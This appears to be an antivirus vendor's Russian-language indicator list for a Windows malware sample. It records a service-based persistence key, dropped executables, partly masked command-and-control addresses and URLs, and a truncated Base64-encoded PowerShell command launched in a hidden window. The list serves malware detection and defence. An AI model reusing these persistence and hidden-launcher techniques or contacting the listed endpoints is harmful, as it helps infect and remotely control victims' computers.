Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\cablevert] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\cablevert] 'ImagePath' = '"%WINDIR%\SysWOW64\cablevert.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAASgByAGkAagB2AGEAeQBzAHAAdwAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBMAGUAbgBnAGQAegBxAGIAZABsAG8AZgBoACAAIwA+ACAAJABXAGUAdQBsAG8AagB2AGEAeQBrAHgAPQ...
- %HOMEPATH%\576.exe
- %PROGRAMDATA%\dxcsdyjgbn.dfxcsd
- %HOMEPATH%\576.exe в %WINDIR%\syswow64\cablevert.exe
- '16#.#9.105.223':7080
- '17#.#1.200.130':8080
- http://wp.#####tificsatellite.net/wp-admin/nh91/
- http://16#.##.105.223:7080/balloon/
- http://17#.##.200.130:8080/cab/
- DNS ASK wp.#####tificsatellite.net
- '%HOMEPATH%\576.exe'
- '%WINDIR%\syswow64\cablevert.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAASgByAGkAagB2AGEAeQBzAHAAdwAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBMAGUAbgBnAGQAegBxAGIAZABsAG8AZgBoACAAIwA+ACAAJABXAGUAdQBsAG8AagB2AGEAeQBrAHgAPQ...' (со скрытым окном)